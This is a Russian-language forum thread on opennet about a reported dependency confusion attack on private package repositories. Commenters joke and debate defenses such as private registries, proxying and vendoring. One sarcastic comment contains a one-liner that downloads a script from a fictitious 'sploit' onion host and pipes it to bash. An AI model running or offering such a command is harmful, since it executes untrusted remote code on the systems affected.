URL: https://www.opennet.dev/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 123238
[ Назад ]
Исходное сообщение
"Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний"
Отправлено opennews , 10-Фев-21 11:03 
Представлен поразительный по своей простоте метод атаки на зависимости в приложениях, при разработке которых используются внутренние репозитории пакетов. Выявившие проблему исследователи смогли выполнить свой код на внутренних серверах 35 компаний, среди которых  PayPal, Micrоsoft, Apple, Netflix, Uber, Tesla и Shopify. Взломы проводились в рамках программ Bug Bounty, согласованно с атакуемыми компаниями, и уже принесли авторам 130 тысяч долларов, выплаченных в форме вознаграждений за выявление уязвимостей (выплаты продолжают поступать)...

Подробнее: https://www.opennet.dev/opennews/art.shtml?num=54566

Содержание
Сообщения в этом обсуждении
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Leftpad , 10-Фев-21 11:03 
Нужно больше зависимостей и скриптов установки.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Лудакрис , 10-Фев-21 11:08 
нужно больше содержательных комментариев на опеннет.ру
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:15 
Нужно больше коментариев
пытающихся в сарказм
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Лудакрис , 10-Фев-21 11:31 
будь осторожен в своих желаниях: мой сарказм обладает силой, разрушающей любую логику
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:24 
Нужно больше подстрекателей к сарказму.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:18 
Не зря же в расте даже базовые возможности - во внешних модулях. Растаманы приготовили благодатную почву...
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:30 
https://www.reddit.com/r/rust/comments/lgl7bf/is_cargo_vulne.../
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено topin89 , 10-Фев-21 20:08 
Озвучу для тех, кому лень переходить:
Нет, в карго такой уязвимости нет. Но это вышло случайно, о такой атаке никто не думал заранее.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено rex , 18-Фев-21 13:30 
В смысле, никто не думал заранее?

Я всегда считал это багом многих утилит работы с пакетами.

А вот, например, в `docker pull` явно прописывается адрес регистри.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:20 
Больше зависимостей богу зависимостей! Да здравствует leftpad.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 15:04 
Да здравствует Haskell!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено ЧешкиЧехова , 11-Фев-21 19:07 
ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод рантайм.

Так вообще можно было сразу форму отправки для загрузки произвольного крипта сделать и повесить на главную, механика даже не уровня xss.

Виток "Кнута-Смузи":

1
Тяжёлые времена
рождают сильных кодеров.

2
Сильные кодеры
ролждают либы и фреймворки.

3
Фреймворки и либы
рождают слабых кодеров.

4
Слабые кодеры
рождают тяжёлые времена.

Мы где то в середине 4ой стадии. А все умы идут в децентрализацию, trust computing и прочие умные модели, чтобы закрыть эпоху смузихлебов танцующих дырявую Тьюринг машину.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Aga , 14-Фев-21 00:03 
давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать все в условный index.php, чтобы чувствовать себя сильными кодерами
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 14-Фев-21 08:14 
> давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать
> все в условный index.php, чтобы чувствовать себя сильными кодерами

ЧСХ пока так делали - работало явно лучше. Во всяком случае, гиг RAM на рендер не жрало и не грузилось по 5 минут, даже несмотря на тормозные диалапы с GPRS и ADSL-ями.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено rico , 18-Фев-21 18:52 
Принцип модульности Орлова: если из распечатки одного модуля программы можно свить веревку, на которой можно повесить программиста, его написавшего, то все это следует сделать.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено RedEyedMan , 26-Фев-21 14:09 
Вполне нормальное явление. Иначе зачем все эти либы и фреймворки, сильные обойдутся и без них. А я слабый, пользуюсь либами и фреймворками.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Dzen Python , 10-Фев-21 12:50 
Нужно больше васянских библиотек и костылей "на вызов одной функции"
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 12-Фев-21 03:38 
Так, блин, это ж программировать надо?! А вот это вебмакаки не умеют. Ну, сколько из вас хотя-бы код Хэмминга сможет накодить? Сами? Без подсматривания к другим и чужих либ? А чтоб еще и эффективно?!

p.s. это, кстати, было жестко обстебано в "масяне". Мол, вы берете флешку с википедией, валите в прошлое... у вас все знания мира! Скоро весь мир будет у ваших ног! Вы сможете невероятно продвинуть человечество в развитии тысячу лет назад, попутно озолотившись. Так, стоп? В древнем мире оказывается нет компьютеров. А как работает флеш-память вы, разумеется, не знаете. И уж тем более не сможете объяснить это другим. Поэтому ваши знания будут недоступны следующую 1000 лет, а потом они уже и не нужны как раз. А вы - лох! Который даже формулу пороха не знает! А все что лох по жизни умеет - програмить плагинчики к какой-то ненужности. Без этой ненужности лох вообще совершенно бесполезен.

(краткое содержание, вольный пересказ, возможны неточности)

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:08 
Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использовал этот проект как платформу для 1000 других проектов, то весь код между проектами нужно копировать. И не в коем случае не использовать менеджеры зависимости! И когда ты фиксишь например 100 функций-однострочников в одном проекте, то все их вручную нужно копировать в 100 других проектов. Гениально, надо продвигать эту идею в массы.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено YetAnotherOnanym , 10-Фев-21 14:19 
Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод сесть, подумать, и выбрать какую-то более другую платформу.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Bob , 12-Фев-21 00:09 
Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых)
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 15:06 
Так писали наши деды. Раньше позорным считалось переиспользование кода не только в соседних отделах, но даже в рамках одной программы. Если ты не можешь написать оригинальный код ad-hoc, то ты даже не программист, ты просто макака-копипастер.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено italliano monkey , 11-Фев-21 00:03 
или просто Java-программист
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Sample , 01-Мрт-21 14:58 
Наши деды славные  победы, вот  где  наши  деды  
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 12-Фев-21 03:39 
> Правильно, если у тебя в большом проекте 1 000 000 однострочников

...то ты сделал что-то ну вот вообще совсем не так...

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено InuYasha , 10-Фев-21 22:27 
Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят :)
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 15-Фев-21 14:14 
Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 ))
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Леголас , 10-Фев-21 11:06 
всё гениальное просто
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено AHOHUM , 10-Фев-21 13:14 
Природа красива в простоте сложности и сложности простоты. Не удаётся скрыться от сложности в простоту.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 13-Фев-21 00:49 
Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны растительному миру нашей планеты.
IT-корпорации должны быть разрушены.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено DildoZilla , 10-Фев-21 11:14 
Всё ещё проще -- надо было просто придумать гит и гитхабы. Смузисосы-линуксоиды, падкие на всякие цацки, а особенно на всякие там пакетирования, сами всё туда сольют. Ловись гитхабер большой и маленький.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:15 
Дыра. Раста проблема тоже касается?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Лудакрис , 10-Фев-21 11:36 
а есть упоминание? читайте внимательнее, глупые аноны, это нелегко, знаю, но пытайтесь!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:41 
Нет упоминанй, потому что Растом и его пакетником в не пользуются?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:42 
Не хами!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:12 
Я не тот анон, но там написано "в других системах, таких как..." и дальше приводится пример (именно пример, а не весь список!!!) систем "таких как". То есть из текста следует, что проблеме может быть подвержен любой менеджер зависимостей даже если он не перечислен в данной статье.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено An O Nim , 10-Фев-21 16:13 
Проблема ещё шире: переменчивость артефактов во внешних сетях.

Человеки делают неустойчивые системы. За первую половину молодости ооочень много кому не случается встретить, но эффект есть и существует - системы неустойчивы, могут исчезать или нужные подменяться на ненужные.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 13-Фев-21 00:51 
Да. В интернете может что угодно в любой момент исчезнуть навсегда, не оставив следов, и не достучишься.
Страшное чувство.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Ананимус , 10-Фев-21 11:53 
Нет, там нужно указывать registry, откуда качать пакет.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено cheater , 10-Фев-21 12:03 
Не раста, а cargo.

Именно эта не касается, тк. зависимости качаются по дефолту с crates.io, если явно не сказано иное.

Проблемам компрометации пакетов cargo подвержен так же как и все остальные, например если указать в конфиге Cargo.toml version ">=0.2" то никто не мешает скомпрометировать v0.3 в репозитории

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:09 
Да, это проблема и не только cargo, но и всего раста, потому что все используют cargo. В общем, недостатки - это продолжение достоинств. Хотелось бы, чтобы появилась полноценная возможность опираться в пакетах (крейтах) только на то, что идет с самим дистрибутивом линукса, не компрометируя себя связями с единственным иностранным внешним репозиторием. Обычно всем пофиг на это, но есть области программирования, где совсем не пофиг. Короче, исходная тема новости лишний говорит, что бесплатного сыра [в мышеловке] не бывает.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Siborgium , 10-Фев-21 12:28 
cargo умеет работать с git-репозиториями и локальными пакетами.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Dzen Python , 10-Фев-21 12:53 
И?
На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?
А на локальные системные либы при сборке?
Или для этого все равно нужно тянуть обертки с крейтс?
Просто интересно
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:38 
В уже скомпилированном состоянии он будет содержать крейты в себе.

Раст все растовые (в т.ч. удаленные крейты) зависимости вкомпиливает статически. В нем нет динамической линковки, поскольку нет стабильно ABI https://github.com/rust-lang/rfcs/issues/600 . Динамическая линковка доступна только при FFI (с либами, написанными на других языках)

Лично мне это нравится благодаря достигаемой скорости исполнения при использовании LTO. Понимаю тех, у кого места на диске мало. Или кому нужно множество связанных раст-процессов запускать.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:58 
> В нем нет динамической линковки, поскольку нет стабильно ABI

Карл, а что делали растаманы 15 лет?!

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Ordu , 10-Фев-21 14:30 
Ничего не делали, я уже говорил в соседнем топике. Раскручивали язык, чтобы взять приз "most loved language" на stackoverflow.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 12-Фев-21 03:43 
> доступна только при FFI (с либами, написанными на других языках)

Да у них и сам яп бесполезен без сишно-сиплюсплюсного LLVM'а. Это не мешаер растаманам быковать на си и плюсы, в таких мелочах "системные" вебмакаки не парятся :)

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено cheater , 10-Фев-21 13:57 
> На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?

Вопрос некорректен, тк скомпилированный бинарник на расте - это обычный ELF или PE32 или какой там бинарный формат на целевой платформе. Он может динамически линковаться с системными .so файлами, а также с растовыми .so (динамическими библиотеками с растовым ABI а не C ABI). См. https://users.rust-lang.org/t/what-is-the-difference-between...


> А на локальные системные либы при сборке?

Да, см. https://doc.rust-lang.org/reference/items/external-blocks.ht...

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:54 
Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать только то, что идет с дистрибутивом, вообще, не залезая в интернет (например, если это запрещено или даже, если нет интернета)?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:43 
Позволен git, путь, и crates.io. Можно создать свой https://github.com/rust-lang/crates.io если вы совсем большие, и указать в проекте адрес на него.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:45 
Называется это (crates.io) registry https://doc.rust-lang.org/cargo/reference/registries.html
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:14 
написал вместо того что бы сказать нет.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:56 
Это unsafe и не позволяет делать запланированное устаревание
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено cheater , 10-Фев-21 18:25 
> Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать
> только то, что идет с дистрибутивом, вообще, не залезая в интернет
> (например, если это запрещено или даже, если нет интернета)?

Вопрос не очень понятен (99.999... процентов пакетов в расте имеют внешние зависимости от других пакетов, эти зависимости же надо откуда-то брать), но возможно вам нужно одно из следующего:

(1) команда "cargo vendor" (только с версии 1.37) выкачивает рекурсивно все зависимости пакета и включает их в пакет, что делает его пригодным для распространения оффлайн

(2) можно поднять локальное зеркало crates.io, уже сказали, или скомандовать cargo брать конкретные отдельные зависимости не из инета а из локальной директории

(3) можно запускать cargo с ключом --offline, запретив ему лезть в сеть

(4) cargo всегда только один раз выкачивает и собирает зависимости, далее инет ему не нужен пока не произведён бамп версии где-нибудь в дереве зависимостей.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:53 
Даже если сделать "cargo vendor", то изначально все равно крейты попадут в локальное хранилище (подкаталог проекта) из ненадежного сайта crates.io, т.е. такие крейты не будут вызывать доверия. Я же предпочел бы, чтобы крейты брались из дистрибутива линукса. Точнее, мне самому это не так важно, а важно то, что такое требование могут выставить потенциальные заказчики - к гадалке не ходи!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 20:29 
Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в них и полно всяких devel-пакетов с крейтами Rust и модулями Go

Вот так, например, в дебиане выглядит утилита на расте, исходники которой одновременно идут в пакет-крейт
https://packages.debian.org/source/buster/rust-exa

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:22 
Если у тебя конечно есть доступ к репозиторию.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:24 
А при чем тут Раст? Он же не скриптовый вроде
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено pda , 10-Фев-21 13:26 
Проблема не в языках, а в пакетных менеджерах.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 23:38 
а там написано, но это ж читать букавки надо, чему многи не обучены )))
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 14-Фев-21 23:56 
в русте зависимости ставятся через wget https://sploit.onion/l33t.sh | bash. до менеджера пакета форк-бомба просто не дойдёт - сработает раньше. безопасность же.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено тоже Аноним , 10-Фев-21 11:17 
Рекомендации по защите не работают.
Работает только система, которая безопасна из коробки и требует чтения рекомендаций для того, чтобы сделать ее небезопасной.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Lex , 10-Фев-21 11:20 
> Проблема в том, что пакетные менеджеры, такие как npm .. пытаются загрузить внутренние зависимости компаний в том числе и из публичных репозиториев

Они что, объявляли их просто как пакеты, а не ссылкой на каталог/файл типа file:// или ссылки на конкретную гитОвую репу типа git://github.com/<user>/<project>.git#<branch> !?

-Если так, то руководителей отделов разработки тех контор надо гнать сс.ными тряпками, поскольку в противном случае пакет вообще почти откуда угодно может стягиваться даже просто ввиду случайного совпадения имен

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Dzen Python , 10-Фев-21 12:54 
Ты что! Там жЫ уважаемые девляпсы и сениоры! Они такой код пишуть - аж закачаешься (от эмоций!)!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено AHOHUM , 10-Фев-21 13:20 
Не пишуть! А рисуютЪ!!! :)) Баги фиксят в продукте исправлением пары строк в конфигурации запуска.

Как стройбат: такие звери, что даже автомат не выдают.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено YetAnotherOnanym , 10-Фев-21 17:07 
Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено ryoken , 10-Фев-21 11:32 
Так им всем и надо.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:46 
> а также внутренние зависимости, которые не распространяются публично и загружаются из собственных репозиториев.

Руст или вообще какой-нибудь петон. Мы то знаем.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:51 
А как они узнали их имена ?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 11:55 
> как исследователь случайно обратил внимание, что в публикуемом на GitHub общедоступном коде многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей, применяемых во внутренних проектах или при реализации расширенной функциональности.

А если кто то забудет там пароли ?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 14-Фев-21 05:43 
На этот случай есть безопасТное восстановление паролей через ваши безопасТные мобильники. Номера на которых сейчас не подделывает только ленивый.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено kissmyass , 10-Фев-21 12:02 
ну например если дотнет то прям в файле проекта

<PackageReference Include="Fck.U.MS" Vesion="666-go-to-hell-beta2" />

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:20 
В смысле ? Разве оно первым делом не локальный файл ищет ?

Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО ищут локально и если нет то тогда уже  в ...

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено kissmyass , 10-Фев-21 15:03 
> В смысле ? Разве оно первым делом не локальный файл ищет ?
> Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО
> ищут локально и если нет то тогда уже  в ...

Локально это где? Nuget пакет не поставляется с самим проектом.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено kissmyass , 10-Фев-21 12:04 
а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один nuget пакет
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено bsdun , 10-Фев-21 11:58 
Использовали бы FreeBSD и её дерево портов, проблем бы не было!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено kissmyass , 10-Фев-21 11:58 
Я тоже немного офигел когда приватные пакеты искались на nuget.org

Самый очевидный но не самый простой способ на мой взгляд это юзать что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из списка источников.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 14:21 
> Я тоже немного офигел когда приватные пакеты искались на nuget.org
> Самый очевидный но не самый простой способ на мой взгляд это юзать
> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
> списка источников.

а Nexus не накачает с nuget.org более новых версий, чем локальные??

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено kissmyass , 10-Фев-21 15:09 
>> Я тоже немного офигел когда приватные пакеты искались на nuget.org
>> Самый очевидный но не самый простой способ на мой взгляд это юзать
>> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
>> списка источников.
> а Nexus не накачает с nuget.org более новых версий, чем локальные??

Насколько я знаю, там надо апрувить пакеты на кеширование.
Если пакета нет, то пофик какой версии его нет )))
Он заберется из приватной репы.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 15:55 
>>> Я тоже немного офигел когда приватные пакеты искались на nuget.org
>>> Самый очевидный но не самый простой способ на мой взгляд это юзать
>>> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
>>> списка источников.
>> а Nexus не накачает с nuget.org более новых версий, чем локальные??
> Насколько я знаю, там надо апрувить пакеты на кеширование.
> Если пакета нет, то пофик какой версии его нет )))
> Он заберется из приватной репы.

возможно от настроек зависит, наш выкачивает автоматом

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Fracta1L , 10-Фев-21 12:10 
Зависимости эт плохо пнятненько
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Сишные дырени , 10-Фев-21 20:09 
Сильвупле
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено qweqwe , 10-Фев-21 12:27 
composer у php не подвержен такой бяке?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:24 
Если сам не наделаешь
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:54 
>многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей

Защита методом "безопасность через неясность" - говно.

В нормальных компаниях просто с публичных репозиториев ничего не ставится. Ставится со своего, все чужие пакеты в котором проверены службой безопасности.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 12:57 
Это где так ?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Атон , 10-Фев-21 21:12 
*банк
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 11-Фев-21 02:17 
> *банк

огласите название, плз
банк резервного фонда сша имени масонов?
их СБ памятник в платине поставить надо, если они акцептуют зависимости не по типу некст-некст-некст-инстал

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Атон , 11-Фев-21 14:41 
>> *банк
> огласите название, плз

крупный банк.  сбер, втб, райф, другие

> их СБ памятник в платине поставить надо, если они акцептуют зависимости не
> по типу некст-некст-некст-инстал

никто не знает как, но времени это занимает много.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Dzen Python , 10-Фев-21 12:58 
В нормальных компаниях к тому моменту, когда они выкладывают код/имеют зрелый продукт на руках уже есть набор нормальных опенсорцных .so'шников ИЛИ свой набор отлаженных, оптимизированных homebrew-либ. Ни или в сама крайнем случае - нормальная купленная библитека на внутреннем сервере. А не набор васянских лефтпадов из NPM
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:05 
Если уж этим на "проверены службой безопасности" не хватает, то где тогда "нормальные" водятся?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 14:23 
> Ставится со своего, все чужие пакеты в котором проверены службой безопасности.

втф? ловите эльфа/наркомана!!

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено www2 , 10-Фев-21 15:33 
Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё софт с кряками по первой ссылке из поиска - вот настоящие эльфы и наркоманы.

Самые серьёзные люди используют списки контроля доступа, системны мандатного доступа и сертифицированные операционные системы, поставить на которые обновлённый пакет - значит лишиться сертификации.

Новость тут в том, что даже качая из официального источника, проверяя хэш-суммы и цифровые подписи скачанного, можно всё равно нарваться на подлог из-за неправильно выставленных (или не выставленных вовсе) приоритетов источников.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 18:15 
> сертифицированные операционные системы, поставить на которые обновлённый пакет - значит
> лишиться сертификации.

покажите мне сертефицированную ОСь, где сертефицированные обновления безопасности появляются быстрее, чем эксплойты у скрипткидисов

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Gogi , 10-Фев-21 13:02 
Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате и надеетесь, что хакеры это пропустят?? :)

Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им не место в продакшене! Для самопальных перделок - ради бога, но где идёт коммерческое ПО - сразу вон поганой метлой!

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:06 
Может наоборот ? Там где комерческое - то пофиг, барин то платит.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено An O Nim , 10-Фев-21 16:18 
Считается, что так тоже не катит. Т.к. в полезного в коммерческом вырастет тот, кто заботится. Двуличка с хорошим результатом - редкость.

Кому пофиг - халтурщики. Они уходят на сторону или не растут.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 14:28 
> Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть
> априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате
> и надеетесь, что хакеры это пропустят?? :)
> Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им
> не место в продакшене! Для самопальных перделок - ради бога, но
> где идёт коммерческое ПО - сразу вон поганой метлой!

а линуксы в продакшене ты как обновляешь, братюнь?

зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого самим автором программы пакета?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено An O Nim , 10-Фев-21 16:24 
Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. Репы RHEL как раз внутренние репо самого RHEL.

А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как в новости. И некоторые и так тоже делают... Всякие там PPA репо и прочие с хабров и т.п. "авторитетных" площадок.

Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 18:24 
> Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс.
> Репы RHEL как раз внутренние репо самого RHEL.
> А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как
> в новости. И некоторые и так тоже делают... Всякие там PPA
> репо и прочие с хабров и т.п. "авторитетных" площадок.
> Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.

я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцировал трояна в обновлении (крызыс, все выживают, как могут), оно попало в редхатовские репы, я обновился, меня хакнули
какую ответственность несёт редхат?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 22:25 
В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотрит и правит перед компиляцией если нужно. Хотя я почти уверен, что у красной шляпы соглашение написано не хуже чем у MS.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 11-Фев-21 02:20 
> В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в
> код смотрит и правит перед компиляцией если нужно. Хотя я почти
> уверен, что у красной шляпы соглашение написано не хуже чем у
> MS.

это то понятненько, что смотрит (в теории)
но вот сейчас у меня вопрос - какая ответственность прописана у редхата/оракла/итд если их мантейнер не смог рассмотреть если пришедший пакет повлёк денежный, репутационный, моральный ущерб

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено fske , 11-Фев-21 18:44 
>какая ответственность прописана у редхата/оракла/итд

очень простая - ни одна айти контора не будет нести ответственность за твой бизнес, который может пострадать из-за использования или неиспользования их продуктов.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:50 
> зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого
> самим автором программы пакета?

ну раздавал же редхат непонятно кем и как модифицированный (и, что характерно - подписанный) ceph - и ничего, никто не пострадал.

Причем, кажется, так и не выяснилось, что это было и что случилось у тех кто успел савтоапгрейдиться.

Ну да, редхат врал что я не я, корова не моя, и вообще это другой, неправильный редхат сделал.
А разбор инцидента, по-моему, так и зажал.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:01 
Поддерживаю. Собственно поэтому приходится у себя в гит репозитории хранить все эти миллиарды пакетов. Неудобно, да. Но куда деваться?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено anonymous , 11-Фев-21 11:17 
Против выступать легко. А что в замен предложите?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Андрей , 10-Фев-21 13:13 
Так я и не понял, это баг или фича.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:27 
Это фича. А сабж это атака через фичу. Почти что социнженерия.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:28 
Это квантовое программирование, багофича Шредингера. Будущее наступило.
"Атака на зависимости позволила выполнить код на серверах Pay..."
